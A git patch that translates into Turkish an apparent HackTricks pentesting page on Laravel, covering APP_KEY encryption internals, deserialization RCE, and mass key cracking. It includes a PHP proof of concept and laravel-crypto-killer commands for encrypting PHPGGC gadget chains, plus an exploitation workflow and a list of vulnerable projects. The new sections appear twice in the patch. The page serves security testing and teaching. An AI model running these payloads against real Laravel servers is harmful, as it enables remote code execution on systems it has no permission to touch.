From f3067030869028d6b16666877608dc40da7ff248 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 10 Jul 2025 12:40:01 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/pentesting-web/laravel.md'] --- .../pentesting-web/laravel.md | 181 +++++++++++++++++- 1 file changed, 174 insertions(+), 7 deletions(-) diff --git a/src/network-services-pentesting/pentesting-web/laravel.md b/src/network-services-pentesting/pentesting-web/laravel.md index c52418e15..31f3a4bea 100644 --- a/src/network-services-pentesting/pentesting-web/laravel.md +++ b/src/network-services-pentesting/pentesting-web/laravel.md @@ -1,5 +1,90 @@ # Laravel +{{#include /banners/hacktricks-training.md}} + +### Laravel SQLInjection + +Bu konuda bilgi okuyun: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) + +--- + +## APP_KEY & Şifreleme iç yapıları (Laravel \u003e=5.6) + +Laravel, arka planda HMAC bütünlüğü ile AES-256-CBC (veya GCM) kullanır (`Illuminate\\Encryption\\Encrypter`). +Sonunda **müşteriye gönderilen** ham şifreli metin, **şu şekilde bir JSON nesnesinin Base64'üdür**: +```json +{ +"iv" : "Base64(random 16-byte IV)", +"value": "Base64(ciphertext)", +"mac" : "HMAC_SHA256(iv||value, APP_KEY)", +"tag" : "" // only used for AEAD ciphers (GCM) +} +``` +`encrypt($value, $serialize=true)` varsayılan olarak metni `serialize()` ederken, `decrypt($payload, $unserialize=true)` **şifrelenmiş değeri otomatik olarak `unserialize()` eder**. Bu nedenle **32 baytlık gizli `APP_KEY`'i bilen herhangi bir saldırgan, şifrelenmiş bir PHP serileştirilmiş nesne oluşturabilir ve sihirli yöntemler (`__wakeup`, `__destruct`, …) aracılığıyla RCE elde edebilir**. + +Minimal PoC (framework ≥9.x): +```php +use Illuminate\Support\Facades\Crypt; + +$chain = base64_decode(''); // e.g. phpggc Laravel/RCE13 system id -b -f +$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste +``` +Üretilen dizeyi herhangi bir savunmasız `decrypt()` sink'ine (route parametresi, çerez, oturum, ...) enjekte edin. + +--- + +## laravel-crypto-killer 🧨 +[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) tüm süreci otomatikleştirir ve kullanışlı bir **bruteforce** modu ekler: +```bash +# Encrypt a phpggc chain with a known APP_KEY +laravel_crypto_killer.py encrypt -k "base64:" -v "$(phpggc Laravel/RCE13 system id -b -f)" + +# Decrypt a captured cookie / token +laravel_crypto_killer.py decrypt -k -v + +# Try a word-list of keys against a token (offline) +laravel_crypto_killer.py bruteforce -v -kf appkeys.txt +``` +The script transparently supports both CBC and GCM payloads and re-generates the HMAC/tag field. + +--- + +## Gerçek dünya zayıf desenleri + +| Proje | Zayıf nokta | Gadget zinciri | +|-------|-------------|----------------| +| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 | +| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` çerezi `Passport::withCookieSerialization()` etkin olduğunda | Laravel/RCE9 | +| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` çerezi | Laravel/RCE15 | + +Sömürü iş akışı her zaman: +1. `APP_KEY` elde et (varsayılan örnekler, Git sızıntısı, config/.env sızıntısı veya brute-force) +2. **PHPGGC** ile gadget oluştur +3. `laravel_crypto_killer.py encrypt …` +4. Zayıf parametre/çerez aracılığıyla yükü ilet → **RCE** + +--- + +## Çerez brute-force ile toplu APP_KEY keşfi + +Her yeni Laravel yanıtı en az 1 şifreli çerez (`XSRF-TOKEN` ve genellikle `laravel_session`) ayarladığından, **kamusal internet tarayıcıları (Shodan, Censys, …) milyonlarca şifreli metin sızdırır** ki bunlar çevrimdışı olarak saldırıya uğrayabilir. + +Synacktiv tarafından yayınlanan araştırmanın ana bulguları (2024-2025): +* Veri seti Temmuz 2024 » 580 k token, **%3.99 anahtar kırıldı** (≈23 k) +* Veri seti Mayıs 2025 » 625 k token, **%3.56 anahtar kırıldı** +* >1 000 sunucu hala eski CVE-2018-15133'e karşı zayıf çünkü tokenlar doğrudan serileştirilmiş verileri içeriyor. +* Büyük anahtar yeniden kullanımı – En iyi 10 APP_KEY, ticari Laravel şablonlarıyla birlikte gelen hard-coded varsayılanlardır (UltimatePOS, Invoice Ninja, XPanel, …). + +Özel Go aracı **nounours**, AES-CBC/GCM brute-force verimliliğini ~1.5 milyar deneme/s'ye çıkararak, tam veri seti kırma süresini <2 dakikaya düşürüyor. + +--- + +## Referanslar +* [Laravel: APP_KEY sızıntı analizi](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html) +* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) +* [PHPGGC – PHP Genel Gadget Zincirleri](https://github.com/ambionics/phpggc) +* [CVE-2018-15133 yazımı (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce) + {{#include ../../banners/hacktricks-training.md}} @@ -12,17 +97,17 @@ Eğer Laravel **hata ayıklama modunda** ise **kod** ve **hassas verilere** eri ![](<../../images/image (1046).png>) -Bu genellikle diğer Laravel RCE CVE'lerini istismar etmek için gereklidir. +Bu genellikle diğer Laravel RCE CVE'lerini sömürmek için gereklidir. ### .env Laravel, çerezleri ve diğer kimlik bilgilerini şifrelemek için kullandığı APP'yi `.env` adlı bir dosyada saklar ve bu dosyaya `/../.env` altında bazı yol geçişleri kullanarak erişilebilir. -Laravel, bu bilgiyi hata ayıklama sayfasında da gösterecektir (Laravel bir hata bulduğunda ve etkinleştirildiğinde görünür). +Laravel, bu bilgiyi hata bulunduğunda ve etkinleştirildiğinde hata ayıklama sayfasında da gösterecektir. -Laravel'in gizli APP_KEY'ini kullanarak çerezleri şifreleyebilir ve tekrar şifreleyebilirsiniz: +Laravel'in gizli APP_KEY'ini kullanarak çerezleri şifreleyebilir ve yeniden şifreleyebilirsiniz: -### Çerezi Şifre Çözme +### Çerezi Şifre Çöz ```python import os import json @@ -83,11 +168,11 @@ encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2 ``` ### Laravel Deserialization RCE -Zayıf sürümler: 5.5.40 ve 5.6.x ile 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/)) +Hassas sürümler: 5.5.40 ve 5.6.x ile 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/)) -Deserialization zayıflığı hakkında bilgi bulabilirsiniz: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/) +Deserialization güvenlik açığı hakkında bilgi bulabilirsiniz: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/) -Bunu test edip istismar edebilirsiniz: [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\ +Bunu test edebilir ve istismar edebilirsiniz: [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\ Ya da metasploit ile de istismar edebilirsiniz: `use unix/http/laravel_token_unserialize_exec` ### CVE-2021-3129 @@ -98,5 +183,87 @@ Başka bir deserialization: [https://github.com/ambionics/laravel-exploits](http Bunun hakkında bilgi okuyun: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) +### Laravel SQLInjection + +Bunun hakkında bilgi okuyun: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) + +--- + +## APP_KEY & Encryption internals (Laravel \u003e=5.6) + +Laravel, arka planda HMAC bütünlüğü ile AES-256-CBC (veya GCM) kullanır (`Illuminate\\Encryption\\Encrypter`). +Sonunda **müşteriye gönderilen** ham şifreli metin, **şu şekilde bir JSON nesnesinin Base64'üdür**: +```json +{ +"iv" : "Base64(random 16-byte IV)", +"value": "Base64(ciphertext)", +"mac" : "HMAC_SHA256(iv||value, APP_KEY)", +"tag" : "" // only used for AEAD ciphers (GCM) +} +``` +`encrypt($value, $serialize=true)` varsayılan olarak metni `serialize()` ederken, `decrypt($payload, $unserialize=true)` **şifrelenmiş değeri otomatik olarak `unserialize()` edecektir.** Bu nedenle **32 baytlık gizli `APP_KEY`'i bilen herhangi bir saldırgan, şifrelenmiş bir PHP serileştirilmiş nesne oluşturabilir ve sihirli yöntemler (`__wakeup`, `__destruct`, …) aracılığıyla RCE elde edebilir.** + +Minimal PoC (framework ≥9.x): +```php +use Illuminate\Support\Facades\Crypt; + +$chain = base64_decode(''); // e.g. phpggc Laravel/RCE13 system id -b -f +$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste +``` +Üretilen dizeyi herhangi bir savunmasız `decrypt()` sink'ine (route parametresi, çerez, oturum, ...) enjekte edin. + +--- + +## laravel-crypto-killer 🧨 +[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) tüm süreci otomatikleştirir ve kullanışlı bir **bruteforce** modu ekler: +```bash +# Encrypt a phpggc chain with a known APP_KEY +laravel_crypto_killer.py encrypt -k "base64:" -v "$(phpggc Laravel/RCE13 system id -b -f)" + +# Decrypt a captured cookie / token +laravel_crypto_killer.py decrypt -k -v + +# Try a word-list of keys against a token (offline) +laravel_crypto_killer.py bruteforce -v -kf appkeys.txt +``` +The script transparan bir şekilde hem CBC hem de GCM yüklerini destekler ve HMAC/tag alanını yeniden oluşturur. + +--- + +## Gerçek dünya zayıf desenleri + +| Proje | Zayıf nokta | Gadget zinciri | +|-------|-------------|----------------| +| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 | +| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` çerezi `Passport::withCookieSerialization()` etkin olduğunda | Laravel/RCE9 | +| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` çerezi | Laravel/RCE15 | + +Sömürü iş akışı her zaman: +1. `APP_KEY` elde et (varsayılan örnekler, Git sızıntısı, config/.env sızıntısı veya brute-force) +2. **PHPGGC** ile gadget oluştur +3. `laravel_crypto_killer.py encrypt …` +4. Zayıf parametre/çerez aracılığıyla yükü ilet → **RCE** + +--- + +## Çerez brute-force ile toplu APP_KEY keşfi + +Her yeni Laravel yanıtı en az 1 şifreli çerez (`XSRF-TOKEN` ve genellikle `laravel_session`) ayarladığından, **kamusal internet tarayıcıları (Shodan, Censys, …) milyonlarca şifreli metin sızdırır** ve bunlar çevrimdışı olarak saldırıya uğrayabilir. + +Synacktiv tarafından yayınlanan araştırmanın ana bulguları (2024-2025): +* Veri seti Temmuz 2024 » 580 k token, **%3.99 anahtar kırıldı** (≈23 k) +* Veri seti Mayıs 2025 » 625 k token, **%3.56 anahtar kırıldı** +* >1 000 sunucu hala eski CVE-2018-15133'e karşı savunmasız çünkü tokenlar doğrudan serileştirilmiş verileri içeriyor. +* Büyük anahtar yeniden kullanımı – En iyi 10 APP_KEY, ticari Laravel şablonlarıyla birlikte gelen hard-coded varsayılanlardır (UltimatePOS, Invoice Ninja, XPanel, …). + +Özel Go aracı **nounours**, AES-CBC/GCM brute-force verimliliğini ~1.5 milyar deneme/s'ye çıkararak, tam veri seti kırma süresini <2 dakikaya düşürüyor. + +--- + +## Referanslar +* [Laravel: APP_KEY sızıntı analizi](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html) +* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) +* [PHPGGC – PHP Genel Gadget Zincirleri](https://github.com/ambionics/phpggc) +* [CVE-2018-15133 yazımı (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce) {{#include ../../banners/hacktricks-training.md}}